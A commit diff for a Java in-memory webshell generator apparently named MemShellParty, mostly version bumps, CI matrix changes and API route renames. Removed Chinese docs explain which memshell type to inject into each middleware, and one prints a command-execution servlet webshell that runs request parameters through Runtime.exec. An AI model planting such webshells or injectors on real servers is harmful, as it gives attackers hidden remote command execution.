chore: 2.4.2

This reverts commit 25e4086241.

.github/scripts/parse_changelog_of_version.py

@@ -9,7 +9,7 @@ if __name__ == '__main__':
     args = parser.parse_args()
     version = args.version
 
-    with open("../../CHANGELOG.md") as f:
+    with open("../../web/content/docs/changelog.mdx") as f:
         lines = f.readlines()
         for line in lines:
             if line.startswith(f"## [{version}]"):

.github/workflows/dev-deploy.yaml

@@ -12,7 +12,10 @@ on:
 jobs:
   build-jar:
     name: Build Jar
-    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        os: [ubuntu-latest, windows-latest]
+    runs-on: ${{ matrix.os }}
     steps:
       - uses: actions/checkout@v4
 
@@ -25,6 +28,11 @@ jobs:
       - name: Setup Gradle
         uses: gradle/actions/setup-gradle@v4
 
+      - name: Setup Node
+        uses: actions/setup-node@v6
+        with:
+          node-version: 22
+
       - name: Setup Bun
         uses: oven-sh/setup-bun@v2
         with:
@@ -34,10 +42,16 @@ jobs:
         working-directory: web
         run: bun install --frozen-lockfile && bun run build
 
-      - name: Build Boot with Gradle
+      - name: Build Boot with Gradle (Linux)
+        if: matrix.os == 'ubuntu-latest'
         run: ./gradlew :boot:test :boot:bootjar
 
-      - name: Upload Boot Jar
+      - name: Build Boot with Gradle (Windows)
+        if: matrix.os == 'windows-latest'
+        run: ./gradlew.bat :boot:test :boot:bootjar
+
+      - name: Upload Boot Jar (Linux)
+        if: matrix.os == 'ubuntu-latest'
         uses: actions/upload-artifact@v4
         with:
           name: boot

.github/workflows/docker-build-test.yml

@@ -33,7 +33,7 @@ jobs:
           sleep 10
       - name: Test with curl
         run: |
-          if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
+          if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
              echo "Test successful!"
           else
             echo "Test failed!"

.github/workflows/memshell-integration-test.yml

@@ -27,7 +27,7 @@ jobs:
           - middleware: "jbossas"
             depend_tasks: ":vul:vul-webapp:war"
           - middleware: "jbosseap"
-            depend_tasks: ":vul:vul-webapp:war"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
           - middleware: "wildfly"
             depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
           - middleware: "glassfish"
@@ -48,6 +48,8 @@ jobs:
             depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
           - middleware: "xxljob"
             depend_tasks: ""
+          - middleware: "struct2"
+            depend_tasks: ":vul:vul-struct2:war"
     runs-on: ubuntu-latest
     name: ${{ matrix.cases.middleware }}
     steps:

.github/workflows/probe-integration-test.yml

@@ -25,7 +25,7 @@ jobs:
           - middleware: "jbossas"
             depend_tasks: ":vul:vul-webapp:war"
           - middleware: "jbosseap"
-            depend_tasks: ":vul:vul-webapp:war"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
           - middleware: "wildfly"
             depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
           - middleware: "glassfish"
@@ -42,8 +42,8 @@ jobs:
             depend_tasks: ":vul:vul-webapp:war"
           - middleware: "springwebmvc"
             depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
-          - middleware: "springwebflux"
-            depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
+          - middleware: "struct2"
+            depend_tasks: ":vul:vul-struct2:war"
     runs-on: ubuntu-latest
     name: ${{ matrix.cases.middleware }}
     steps:

.github/workflows/release.yaml

@@ -47,6 +47,11 @@ jobs:
       - name: Setup Gradle
         uses: gradle/actions/setup-gradle@v4
 
+      - name: Setup Node
+        uses: actions/setup-node@v6
+        with:
+          node-version: 22
+
       - name: Setup Bun
         uses: oven-sh/setup-bun@v2
         with:

.gitmodules

@@ -0,0 +1,3 @@
+[submodule "libs"]
+	path = libs
+	url = https://github.com/ReaJason/javaweb-sources.git

Dockerfile

@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
     rm -rf vul integration-test tools
 
 # https://hub.docker.com/r/oven/bun
-FROM --platform=$BUILDPLATFORM oven/bun:1.3.2 AS frontend
+FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
 
 ARG ROUTE_ROOT_PATH="/"
 ARG CONTEXT_PATH=""
@@ -14,9 +14,9 @@ ARG CONTEXT_PATH=""
 WORKDIR /usr/src/web
 
 ENV VITE_APP_API_URL=${CONTEXT_PATH} \
-    VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
+    VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
 
-COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
+COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
 
 RUN bun install --frozen-lockfile
 

README.md

@@ -12,7 +12,7 @@
 <div align="center">
 
 [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
-[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
+[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
 </div>
 
 > [!WARNING]
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
 
 ### 使用前必看
 
-[Java 服务简介.md](./docs/ServerIntro.md)，用于了解 MemShellParty
+[Java 服务简介.md](web/content/docs/server-intro.mdx)，用于了解 MemShellParty
 中针对各个服务适配的情况，针对不同的应用选择合适的服务类型。
 
 探测马中探测服务类型已经做了一一对应，探测出来的服务类型，即是可生成内存马的服务类型（非中间件类型，例如 Apusic10 探测出来的结果为
@@ -57,9 +57,9 @@ GlassFish，因为它使用的是 GlassFish 进行的二开）。
 
 > 仅限尝鲜的小伙伴，对于其他暴露在公网的服务请谨慎使用，小心生成的内存马带后门
 
-可访问（master 分支） [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
+可访问（master 分支） [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
 
-对于正在开发的功能可访问（dev 分支）  [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
+对于正在开发的功能可访问（dev 分支）  [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
 
 ### 本地部署（推荐）
 
@@ -78,23 +78,6 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
 ```
 
-镜像是无状态的，在需要更新最新镜像时，直接移除新建就好了
-
-```bash
-# 移除之前部署的
-docker rm -f memshell-party
-
-# 使用之前的部署命令重新部署（会自动拉取最新的镜像部署）
-docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
-```
-
-## User Guide
-
-1. [适配情况](./docs/Compatibility.md)
-2. [本地构建](./docs/BuildOnLocal.md)
-3. [SDK 集成](./examples/memshell-party-maven-example)
-4. [代码贡献](./CONTRIBUTING.md)
-
 ## Special Thanks
 
 - [vulhub/java-chains](https://github.com/vulhub/java-chains)

asserts/neoreg/Dockerfile

@@ -2,7 +2,7 @@ FROM python:3.12-slim
 
 WORKDIR /app
 
-RUN pip install requests
+RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
 
 COPY neoreg.py .
 

boot/build.gradle.kts

@@ -1,6 +1,6 @@
 plugins {
     id("java")
-    id("org.springframework.boot") version "3.5.7"
+    id("org.springframework.boot") version "3.5.8"
     id("io.spring.dependency-management") version "1.1.7"
 }
 
@@ -21,6 +21,8 @@ configurations {
     }
 }
 
+extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
+
 dependencies {
     implementation(project(":generator")) {
         exclude(group = "commons-logging", module = "commons-logging")
@@ -33,7 +35,7 @@ dependencies {
         exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
     }
     implementation(libs.commons.lang3)
-    implementation("org.springframework.boot:spring-boot-starter-jetty")
+    implementation("org.springframework.boot:spring-boot-starter-undertow")
     compileOnly("org.projectlombok:lombok")
     developmentOnly("org.springframework.boot:spring-boot-devtools")
     annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")

boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java

@@ -17,7 +17,7 @@ import java.util.Base64;
 @CrossOrigin("*")
 public class ClassNameParseController {
 
-    @PostMapping("/className")
+    @PostMapping("/api/className")
     public String className(@RequestBody String classBase64) {
         return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
     }

boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java

@@ -17,7 +17,7 @@ import java.util.*;
  * @since 2024/12/13
  */
 @RestController
-@RequestMapping("/config")
+@RequestMapping("/api/config")
 @CrossOrigin("*")
 public class ConfigController {
 

boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java

@@ -19,7 +19,7 @@ import java.util.Base64;
  * @since 2024/12/18
  */
 @RestController
-@RequestMapping("/memshell/generate")
+@RequestMapping("/api/memshell/generate")
 @CrossOrigin("*")
 public class MemShellGeneratorController {
     @PostMapping

boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java

@@ -15,7 +15,7 @@ import org.springframework.web.bind.annotation.*;
  * @since 2025/8/10
  */
 @RestController
-@RequestMapping("/probe/generate")
+@RequestMapping("/api/probe/generate")
 @CrossOrigin("*")
 public class ProbeShellGeneratorController {
     @PostMapping

boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java

@@ -22,7 +22,7 @@ import java.util.Map;
  */
 @RestController
 @CrossOrigin("*")
-@RequestMapping("/version")
+@RequestMapping("/api/version")
 public class VersionController {
 
     @Value("${spring.application.version}")

boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java

@@ -1,16 +1,70 @@
 package com.reajason.javaweb.boot.controller;
 
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.core.io.ClassPathResource;
+import org.springframework.http.ResponseEntity;
 import org.springframework.stereotype.Controller;
+import org.springframework.util.FileCopyUtils;
 import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
 
 /**
  * @author ReaJason
  * @since 2024/12/19
  */
 @Controller
+@Slf4j
 public class ViewController {
     @GetMapping("/")
     public String index(){
-        return "index";
+        return "redirect:/ui";
+    }
+
+    @GetMapping({"/api/search", "/api/search.data"})
+    @ResponseBody
+    public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
+        String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
+        String relativePath = fullPath.substring(1);
+        return renderFileData(relativePath, response);
+    }
+
+    @GetMapping("/ui/**")
+    @SneakyThrows
+    public Object handleView(HttpServletRequest request, HttpServletResponse response) {
+        String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
+        if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
+            return "index";
+        }
+        String docPath = fullPath.substring(4);
+        if (docPath.endsWith(".data")) {
+            return ResponseEntity.ok(renderFileData(docPath, response));
+        }
+        return docPath + "/index";
+    }
+
+    private String renderFileData(String relativePath, HttpServletResponse response) {
+        try {
+            String templatePath = "templates/" + relativePath;
+            ClassPathResource resource = new ClassPathResource(templatePath);
+            if (!resource.exists()) {
+                response.setStatus(HttpServletResponse.SC_NOT_FOUND);
+                return "File not found: " + relativePath;
+            }
+            InputStreamReader reader = new InputStreamReader(
+                    resource.getInputStream(),
+                    StandardCharsets.UTF_8
+            );
+            return FileCopyUtils.copyToString(reader);
+        } catch (IOException e) {
+            response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
+            return "Error reading file: " + e.getMessage();
+        }
     }
 }

boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java

@@ -23,6 +23,7 @@ public class MemShellGenerateRequest {
         private String godzillaPass;
         private String godzillaKey;
         private String commandParamName;
+        private String commandTemplate;
         private String behinderPass;
         private String antSwordPass;
         private String headerName;
@@ -50,10 +51,11 @@ public class MemShellGenerateRequest {
             case Command -> CommandConfig.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .paramName(shellToolConfig.getCommandParamName())
+                    .template(shellToolConfig.getCommandTemplate())
                     .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
                     .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
                     .build();
-            case Suo5 -> Suo5Config.builder()
+            case Suo5, Suo5v2 -> Suo5Config.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .headerName(shellToolConfig.getHeaderName())
                     .headerValue(shellToolConfig.getHeaderValue())

boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java

@@ -21,6 +21,7 @@ public class ProbeShellGenerateRequest {
         private String server;
         private String sleepServer;
         private String reqParamName;
+        private String commandTemplate;
     }
 
     public ProbeContentConfig parseProbeContentConfig() {
@@ -34,6 +35,7 @@ public class ProbeShellGenerateRequest {
                     .build();
             case ResponseBody -> ResponseBodyConfig.builder()
                     .reqParamName(probeContentConfig.reqParamName)
+                    .commandTemplate(probeContentConfig.commandTemplate)
                     .server(probeContentConfig.server)
                     .build();
             default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());

boot/src/main/resources/application.yaml

@@ -1,4 +1,7 @@
 spring:
   application:
     name: boot
-    version: ${version}
+    version: ${version}
+  mvc:
+    pathmatch:
+      matching-strategy: ant_path_matcher

boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java

@@ -26,21 +26,21 @@ public class ConfigControllerIntegrationTest {
 
     @Test
     public void testConfigEndpoint() {
-        ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
+        ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
         assertEquals(HttpStatus.OK, response.getStatusCode());
         assertNotNull(response.getBody());
     }
 
     @Test
     public void testConfigServersEndpoint() {
-        ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
+        ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
         assertEquals(HttpStatus.OK, response.getStatusCode());
         assertNotNull(response.getBody());
     }
 
     @Test
     public void testConfigPackersEndpoint() {
-        ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
+        ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
         assertEquals(HttpStatus.OK, response.getStatusCode());
         assertNotNull(response.getBody());
     }

boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java

@@ -51,7 +51,7 @@ class MemShellGeneratorControllerTest {
         shellToolConfigDTO.setHeaderValue("hello");
         request.setShellToolConfig(shellToolConfigDTO);
         ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
-                "/memshell/generate", request, MemShellGenerateResponse.class);
+                "/api/memshell/generate", request, MemShellGenerateResponse.class);
         assertEquals(HttpStatus.OK, response.getStatusCode());
         assertNotNull(response.getBody());
     }

build-logic/build.gradle.kts

@@ -7,5 +7,5 @@ repositories {
 }
 
 dependencies {
-    implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
+    implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
 }

build-logic/src/main/kotlin/maven-publish-convention.gradle.kts

@@ -3,7 +3,7 @@ plugins {
 }
 
 mavenPublishing {
-    publishToMavenCentral(true)
+    publishToMavenCentral()
     signAllPublications()
     coordinates(
         "io.github.reajason",

build.gradle.kts

@@ -9,7 +9,7 @@ idea {
     }
 }
 
-version = "2.2.0"
+version = "2.4.2"
 
 tasks.register("publishAllToMavenCentral") {
     dependsOn(":memshell-party-common:publishToMavenCentral")

docs/ServerIntro.md

@@ -1,130 +0,0 @@
-# Java 服务简介
-
-以下服务仅我个人遇到的一些场景，与实际攻防场景可能仍有差距，但是在 MemShellParty
-中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充，欢迎 PR 交流学习~
-
-## Tomcat
-
-> https://tomcat.apache.org/
-
-Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现，限制较少，在 MemShellParty 中，服务类型选 Tomcat 即可生成 Tomcat
-内存马。
-
-一般而言，SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能，比如 Nacos，这种情况下可以选择 Tomcat 内存马注入。
-
-其他服务中，致远 OA、Confluence、帆软使用的是 Tomcat。
-
-## Jetty
-
-> https://jetty.org/
-
-Jetty6 版本使用的包名为 `org.mortbay.jetty`，而 7 以上使用的是 `org.eclipse.jetty`，在测试最新的 Jenkins 时，发现 Jetty11+
-版本支持 ee8 ~ ee10 的环境，包名对应的是 `org.eclipse.jetty.ee8`，这些在 MemShellParty 中均已支持，因此服务类型选 Jetty
-即可生成 Jetty 内存马。
-
-在 SpringWebMVC 项目中也是有可能使用的。
-
-## JBoss
-
-> JBossAS: https://jbossas.jboss.org/downloads
-
-> JBossEAP: https://developers.redhat.com/products/eap/download
-
-JBoss 分为 JBossAS 和 JBossEAP，JBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现，JBossEAP7 及其以上使用的
-[Undertow](https://undertow.io/) 提供的 Servlets 实现。
-
-因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成，而 JBossEAP7 服务类型需要选择
-Undertow 进行内存马的生成。
-
-## Wildfly
-
-> https://www.wildfly.org/
-
-Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现，因此服务类型选择 Undertow 生成内存马
-
-## GlassFish
-
-> https://glassfish.org/
-
-GlassFish 使用的是 Catalina 提供的 Servlets 实现，但是使用了 OSGI 类加载模式，因此类限制较为严重，在 MemShellParty 中，服务类型选择
-GlassFish 进行内存马的生成。
-
-## Payara
-
-> https://www.payara.fish/downloads/
-
-基于 GlassFish 开发，服务类型选择 GlassFish 进行内存马的生成。
-
-## Resin
-
-> https://caucho.com/products/resin/download
-
-Resin 使用的包名为 `com.caucho.`，服务类型选择 Resin 进行内存马的生成。
-
-泛微 OA 使用的就是 Resin 提供的服务。
-
-## WebLogic
-
-> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
-
-WebLogic 使用的包名为 `weblogic.`，服务类型选择 WebLogic 进行内存马的生成。
-
-## WebSphere
-
-> https://www.ibm.com/products/websphere-application-server
-
-WebSphere 是 IBM 研发的商用 Servlets 容器，开源版本为 Websphere liberty，
-包名为 `com.ibm.`，服务类型选择 WebSphere 进行内存马的生成。
-
-## BES
-
-> https://www.bessystem.com/
-
-BES 宝兰德，其基于 Tomcat 进行二开，在 BES 9.5.1 版本中没有进行包名修改，而在 BES 9.5.2
-版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本，服务类型选择 Tomcat 进行内存马的生成，BES 9.5.2+ 服务类型选择
-BES 进行内存马的生成。
-
-## TongWeb
-
-> https://www.tongtech.com/sy.html
-
-TongWeb 东方通，其基于 Tomcat 进行二开，并且在最初的 6 版本就进行了包名修改，每个版本都进行了修改。
-
-- TongWeb6: `com.tongweb.web.thor.`
-- TongWeb7: `com.tongweb.catalina.`
-- TongWeb8: `com.tongweb.server.`
-
-这三个版本在 MemShellParty 中均有适配，服务类型选择 TongWeb 进行内存马的生成。
-
-## Apusic
-
-> https://www.apusic.com/
-
-金蝶中间件，Apusic9 疑似魔改自 GlassFish，不过改得面目全非了，自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
-版本服务类型选择
-Apusic 进行内存马生成，Apusic10 版本选择 GlassFish 进行内存马生成。
-
-## Primeton
-
-> https://www.primeton.com/products/pas/
-
-普元中间件，Primeton6.5 版本基于 GlassFish
-二开，高版本疑似做了包名修改，但没有环境，因此暂未适配（[#60](https://github.com/ReaJason/MemShellParty/issues/60)）因此当前仅支持
-Primeton6.5 版本，服务类型选择 GlassFish 进行内存马生成。
-
-## InforSuite
-
-中创中间件，InforSuite 基于 GlassFish 进行二开，不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
-iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
-
-## SpringWebMVC
-
-Spring 框架，默认的 MVC 架构，官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow，也可打包成 war 包部署于任意 Servlets
-容器上。内存马注入场景下不推荐框架内存马，而是具体的 Servlets 容器内存马，因为可绕过框架的限制（鉴权或其他）。服务类型选择
-SpringWebMVC 进行内存马生成。
-
-## SpringWebFlux
-
-Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件，底层使用的 Netty，一般常见于各种 SpringCloud 项目，例如网关。服务类型选择
-SpringWebFlux 进行内存马生成。
-

docs/shell/ServletShell.md

@@ -1,98 +0,0 @@
-# Java Servlet
-
-Java SE 中我们可以创建 socket 服务端为用户提供服务，但需要用户使用 socket 客户端，当然也可以基于 socket 实现 HTTP 协议，WebFlux 就是这样子的存在。而在 Java EE 中，Java 制定了 Servlet 规范，来规范在 Java 中提供 HTTP 服务的编写方式，其中有两个重要的概念，Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件，由容器进行管理，提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务，必须支持 HTTP，并且管理 Servlet 的生命周期，使 Servlet 在一个受限的安全环境中执行。
-
-Servlet 规范旨在让开发者基于规范开发的应用，可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西，Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
-
-目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本，从 Servlet 5.0 开始，Java EE 更名为 Jakarta EE，包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
-
-## ServletContext
-
-> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
-
-ServletContext 定义了 Servlet 运行的 Web 应用视图，一个 Web 应用对应一个 ServletContext。
-
-ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener，对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
-
-```java
-addServlet(String servletName, String className);
-addServlet(String servletName, Servlet servlet);
-addServlet(String servletName, Class <? extends Servlet> servletClass);
-addFilter(String filterName, String className);
-addFilter(String filterName, Filter filter);
-addFilter(String filterName, Class <? extends Filter> filterClass);
-void addListener(String className);
-void addListener(T t);
-void addListener(Class <? extends EventListener> listenerClass);
-```
-
-这就是在注入内存马时我们需要先拿 Context 的原因（已经写在了 Servlet 规范里面啦），所以针对实现了 Servlet 规范的 Web 容器都是一个套路，并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是，其规定了这些方法只能在应用初始化的时候调用，我们注入内存马的时候已经是应用运行时了，那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
-
-## HttpServlet
-
-99.99% 的时候，我们实现 HttpServlet 抽象类给予我们的能力就可以了，以下每个方法都对应了 HTTP Method 方法，当我们想要实现处理 Get 请求实现 doGet，处理 Post 请求就实现 doPost。
-
-```java
-protected void doGet(HttpServletRequest req, HttpServletResponse resp);
-protected void doPost(HttpServletRequest req, HttpServletResponse resp);
-protected void doPut(HttpServletRequest req, HttpServletResponse resp);
-protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
-protected void doHead(HttpServletRequest req, HttpServletResponse resp);
-protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
-protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
-```
-
-Servlet 规范中规定了，对于非分布式应用来说，Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例，但是 Web 服务是多线程的，所以 Servlet 是线程不安全的，在 Servlet 中的成员变量都是线程不安全的。
-
-针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法，以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
-
-```java
-@WebServlet(”/foo”)
-public class CalculatorServlet extends HttpServlet{
-//...
-}
-```
-
-```xml
-<servlet>
-    <servlet-name>foo</servlet-name>
-    <servlet-class>org.example.CalculatorServlet</servlet-class>
-</servlet>
-<servlet-mapping>
-    <servlet-name>foo</servlet-name>
-    <url-pattern>/foo</url-pattern>
-</servlet-mapping>
-```
-
-## ServletShell
-
-shell 的目的，就是为了定义一个入口，我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
-
-1. doGet 调用转发给 doPost，这样我们即支持 GET 也支持 POST，防止某些情况下有请求方法的限制。
-2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`，也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
-
-```java
-public class CommandServlet extends HttpServlet {
-    public static String paramName;
-
-    @Override
-    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
-        doPost(req, resp);
-    }
-
-    @Override
-    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
-        String cmd = request.getParameter(paramName);
-        if (cmd != null) {
-            Process exec = Runtime.getRuntime().exec(cmd);
-            InputStream inputStream = exec.getInputStream();
-            ServletOutputStream outputStream = response.getOutputStream();
-            byte[] buf = new byte[8192];
-            int length;
-            while ((length = inputStream.read(buf)) != -1) {
-                outputStream.write(buf, 0, length);
-            }
-        }
-    }
-}
-```

generator/build.gradle.kts

@@ -1,5 +1,5 @@
 plugins {
-    id("java")
+    id("java-library")
     alias(libs.plugins.lombok)
     id("maven-publish-convention")
 }
@@ -29,17 +29,16 @@ tasks.test {
 dependencies {
     implementation(project(":memshell-party-common"))
     implementation(project(":packer"))
-    implementation(libs.byte.buddy)
+    api(libs.byte.buddy)
     implementation(libs.asm.commons)
     implementation(libs.javax.websocket.api)
     implementation(libs.javax.servlet.api)
     implementation(libs.spring.webmvc)
     implementation(libs.spring.webflux)
     implementation(libs.reactor.netty.core)
-
+    implementation(libs.jackson.annotations)
     implementation(libs.bundles.jna)
-    implementation(libs.bcel)
-    implementation(libs.jackson.databind)
+
     testImplementation(libs.junit.jupiter)
     testImplementation(libs.hamcrest)
     testRuntimeOnly(libs.junit.platform.launcher)

generator/src/main/java/com/reajason/javaweb/Server.java

@@ -20,4 +20,5 @@ public class Server {
     public static final String SpringWebMvc = "SpringWebMvc";
     public static final String SpringWebFlux = "SpringWebFlux";
     public static final String XXLJOB = "XXLJOB";
+    public static final String Struct2 = "Struct2";
 }

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -6,7 +6,13 @@ import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
 import com.reajason.javaweb.memshell.generator.InjectorGenerator;
 import com.reajason.javaweb.memshell.server.AbstractServer;
+import com.reajason.javaweb.probe.ProbeContent;
+import com.reajason.javaweb.probe.ProbeMethod;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.ResponseBodyConfig;
+import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
 import com.reajason.javaweb.utils.CommonUtil;
+import org.apache.commons.codec.binary.Base64;
 import org.apache.commons.lang3.StringUtils;
 import org.apache.commons.lang3.tuple.Pair;
 
@@ -46,6 +52,11 @@ public class MemShellGenerator {
             injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
         }
 
+        if (shellConfig.isLambdaSuffix()) {
+            shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
+            injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
+        }
+
         byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
 
         injectorConfig.setInjectorClass(injectorClass);
@@ -54,6 +65,25 @@ public class MemShellGenerator {
 
         InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
         byte[] injectorBytes = injectorGenerator.generate();
+        if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
+            ProbeConfig probeConfig = ProbeConfig.builder()
+                    .shellClassName(injectorConfig.getInjectorClassName() + "1")
+                    .probeMethod(ProbeMethod.ResponseBody)
+                    .probeContent(ProbeContent.Bytecode)
+                    .targetJreVersion(shellConfig.getTargetJreVersion())
+                    .byPassJavaModule(shellConfig.isByPassJavaModule())
+                    .shrink(shellConfig.isShrink())
+                    .debug(shellConfig.isDebug())
